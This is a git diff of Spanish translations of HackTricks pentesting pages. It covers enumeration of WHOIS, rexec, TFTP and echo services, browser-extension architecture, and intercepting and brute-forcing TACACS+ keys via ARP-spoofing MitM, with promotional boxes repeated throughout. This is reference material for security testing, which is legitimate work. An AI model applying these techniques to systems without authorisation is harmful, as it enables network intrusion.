* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -1,13 +1,13 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -15,7 +15,7 @@ Otras formas de apoyar a HackTricks:
# Información Básica
El protocolo **WHOIS** sirve como un método estándar para **consultar sobre los registrantes o titulares de varios recursos de Internet** a través de bases de datos específicas. Estos recursos incluyen nombres de dominio, bloques de direcciones IP y sistemas autónomos, entre otros. Además, el protocolo se utiliza para acceder a un espectro más amplio de información.
El protocolo **WHOIS** sirve como un método estándar para **consultar sobre los registrantes o titulares de varios recursos de Internet** a través de bases de datos específicas. Estos recursos incluyen nombres de dominio, bloques de direcciones IP y sistemas autónomos, entre otros. Además, el protocolo se aplica para acceder a un espectro más amplio de información.
**Puerto predeterminado:** 43
```
@ -61,14 +61,14 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
```
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -23,15 +23,15 @@ PORT STATE SERVICE
```
**Puerto predeterminado:** 49
## Interceptar la Clave de Autenticación
## Interceptar la clave de autenticación
Si la comunicación entre el cliente y el servidor TACACS es interceptada por un atacante, **la clave de autenticación encriptada puede ser interceptada**. El atacante luego puede intentar un **ataque de fuerza bruta local contra la clave sin ser detectado en los registros**. Si tiene éxito en el ataque de fuerza bruta a la clave, el atacante obtiene acceso al equipo de red y puede descifrar el tráfico utilizando herramientas como Wireshark.
Si la comunicación entre el cliente y el servidor TACACS es interceptada por un atacante, la **clave de autenticación encriptada puede ser interceptada**. El atacante puede intentar entonces un **ataque de fuerza bruta local contra la clave sin ser detectado en los registros**. Si tiene éxito en el ataque de fuerza bruta a la clave, el atacante obtiene acceso al equipo de red y puede descifrar el tráfico utilizando herramientas como Wireshark.
### Realización de un Ataque MitM
### Realización de un ataque MitM
Un ataque de suplantación de ARP puede ser utilizado para realizar un ataque de Hombre en el Medio (MitM).
### Ataque de Fuerza Bruta a la Clave
### Ataque de fuerza bruta a la clave
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) puede ser utilizado para realizar un ataque de fuerza bruta a la clave:
```
@ -58,7 +58,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
</details>

View file

@ -2,39 +2,39 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## Información Básica
Es un servicio que **permite ejecutar un comando dentro de un host** si conoces las **credenciales** válidas (nombre de usuario y contraseña).
Es un servicio que **te permite ejecutar un comando dentro de un host** si conoces las **credenciales** válidas (nombre de usuario y contraseña).
**Puerto Predeterminado:** 512
```
PORT STATE SERVICE
512/tcp open exec
```
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#rexec)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -7,7 +7,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** Twitter 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -15,9 +15,9 @@ Otras formas de apoyar a HackTricks:
# Información Básica
**Protocolo de Transferencia de Archivos Triviales (TFTP)** es un protocolo sencillo utilizado en el **puerto UDP 69** que permite transferencias de archivos sin necesidad de autenticación. Destacado en **RFC 1350**, su simplicidad significa que carece de características clave de seguridad, lo que lleva a un uso limitado en Internet público. Sin embargo, **TFTP** se utiliza ampliamente dentro de redes internas grandes para distribuir archivos de configuración e imágenes de ROM a dispositivos como teléfonos VoIP, gracias a su eficiencia en estos escenarios específicos.
**Protocolo de Transferencia de Archivos Triviales (TFTP)** es un protocolo sencillo utilizado en el puerto **UDP 69** que permite transferencias de archivos sin necesidad de autenticación. Destacado en **RFC 1350**, su simplicidad significa que carece de características clave de seguridad, lo que lleva a un uso limitado en Internet público. Sin embargo, **TFTP** se utiliza ampliamente dentro de redes internas grandes para distribuir archivos de **configuración** e **imágenes ROM** a dispositivos como **teléfonos VoIP**, gracias a su eficiencia en estos escenarios específicos.
**TODO**: Proporcionar información sobre qué es un Bittorrent-tracker (Shodan identifica este puerto con ese nombre). Si tienes más información al respecto, háznoslo saber, por ejemplo, en el [**grupo de telegram de HackTricks**](https://t.me/peass) (o en un problema de github en [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**TODO**: Proporcionar información sobre qué es un rastreador de Bittorrent (Shodan identifica este puerto con ese nombre). Si tienes más información al respecto, háznoslo saber, por ejemplo, en el [**grupo de telegram de HackTricks**](https://t.me/peass) (o en un problema de github en [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**Puerto Predeterminado:** 69/UDP
```
@ -50,14 +50,14 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -1,13 +1,13 @@
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -25,7 +25,7 @@ PORT STATE SERVICE
7/udp open echo
7/tcp open echo
```
## Contactar el servicio de eco (UDP)
## Contactar el servicio de Eco (UDP)
```bash
nc -uvn <IP> 7
Hello echo #This is wat you send
@ -44,14 +44,14 @@ Hello echo #This is the response
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Información Básica
Las extensiones del navegador están escritas en JavaScript y se cargan en segundo plano por el navegador. Tienen su [DOM](https://www.w3schools.com/js/js_htmldom.asp) pero pueden interactuar con los DOM de otros sitios. Esto significa que pueden comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios.
Las extensiones del navegador están escritas en JavaScript y se cargan en segundo plano por el navegador. Tienen su [DOM](https://www.w3schools.com/js/js\_htmldom.asp) pero pueden interactuar con los DOM de otros sitios. Esto significa que pueden comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios.
## Componentes Principales
@ -34,12 +34,12 @@ El núcleo de la extensión contiene la mayoría de los privilegios/accesos de l
### **Binario Nativo**
La extensión permite un binario nativo que puede **acceder a la máquina host con los privilegios completos del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la Interfaz de Programación de Aplicaciones de Plugin de Netscape estándar ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos del navegador.
La extensión permite un binario nativo que puede **acceder a la máquina host con los privilegios completos del usuario**. El binario nativo interactúa con el núcleo de la extensión a través de la Interfaz de Programación de Aplicaciones de Plugin de Netscape estándar ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos del navegador.
### Límites
{% hint style="danger" %}
Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar una entrada maliciosa desde el script de contenido al núcleo de la extensión y desde el núcleo de la extensión al binario nativo.
Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar una entrada maliciosa desde el script de contenido al núcleo de la extensión y del núcleo de la extensión al binario nativo.
{% endhint %}
Cada componente de la extensión está separado entre sí por **fuertes límites de protección**. Cada componente se ejecuta en un **proceso de sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo.
@ -115,16 +115,16 @@ document.body.appendChild(div);
```
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
Un mensaje es enviado a las páginas de extensión por el script de contenido cuando se hace clic en este botón, a través de la utilización de la [**API runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Esto se debe a la limitación del script de contenido en el acceso directo a las APIs, siendo `storage` una de las pocas excepciones. Para funcionalidades más allá de estas excepciones, se envían mensajes a las páginas de extensión con las que los scripts de contenido pueden comunicarse.
Un mensaje es enviado a las páginas de la extensión por el script de contenido cuando se hace clic en este botón, a través de la utilización de la [**API runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Esto se debe a la limitación del script de contenido en el acceso directo a las APIs, siendo `storage` una de las pocas excepciones. Para funcionalidades más allá de estas excepciones, se envían mensajes a las páginas de la extensión con las que los scripts de contenido pueden comunicarse.
{% hint style="warning" %}
Dependiendo del navegador, las capacidades del script de contenido pueden variar ligeramente. Para los navegadores basados en Chromium, la lista de capacidades está disponible en la [documentación de Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), y para Firefox, la [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sirve como fuente principal.\
También es importante destacar que los scripts de contenido tienen la capacidad de comunicarse con scripts de fondo, lo que les permite realizar acciones y transmitir respuestas de vuelta.
También es importante tener en cuenta que los scripts de contenido tienen la capacidad de comunicarse con scripts de fondo, lo que les permite realizar acciones y transmitir respuestas de vuelta.
{% endhint %}
Para ver y depurar scripts de contenido en Chrome, se puede acceder al menú de herramientas para desarrolladores de Chrome desde Opciones > Más herramientas > Herramientas para desarrolladores O presionando Ctrl + Shift + I.
Una vez que se muestren las herramientas para desarrolladores, se debe hacer clic en la pestaña **Source**, seguida de la pestaña **Content Scripts**. Esto permite observar los scripts de contenido en ejecución de varias extensiones y establecer puntos de interrupción para rastrear el flujo de ejecución.
Una vez que se muestren las herramientas para desarrolladores, se debe hacer clic en la pestaña **Source**, seguido por la pestaña **Content Scripts**. Esto permite observar los scripts de contenido en ejecución de varias extensiones y establecer puntos de interrupción para rastrear el flujo de ejecución.
### Scripts de contenido inyectados
@ -237,7 +237,7 @@ Los mensajes enviados por los scripts de contenido son recibidos por la **págin
**Puntos Clave**:
- **Rol de la Página de Fondo:** Actúa como el centro nervioso de la extensión, garantizando la comunicación y coordinación entre las diversas partes de la extensión.
- **Persistencia:** Es una entidad siempre presente, invisible para el usuario pero fundamental para la funcionalidad de la extensión.
- **Persistencia:** Es una entidad siempre presente, invisible para el usuario pero integral para la funcionalidad de la extensión.
- **Generación Automática:** Si no se define explícitamente, el navegador creará automáticamente una página de fondo. Esta página generada automáticamente incluirá todos los scripts de fondo especificados en el manifiesto de la extensión, asegurando el funcionamiento sin problemas de las tareas de fondo de la extensión.
{% hint style="success" %}
@ -264,7 +264,7 @@ Para depurar el script de fondo, puedes ir a los **detalles de la extensión e i
Las extensiones del navegador pueden contener varios tipos de páginas:
* Las **páginas de acción** se muestran en un **menú desplegable al hacer clic en el ícono de la extensión**.
* Las **páginas de acción** se muestran en un **menú desplegable cuando se hace clic en el ícono de la extensión**.
* Páginas que la extensión **cargará en una nueva pestaña**.
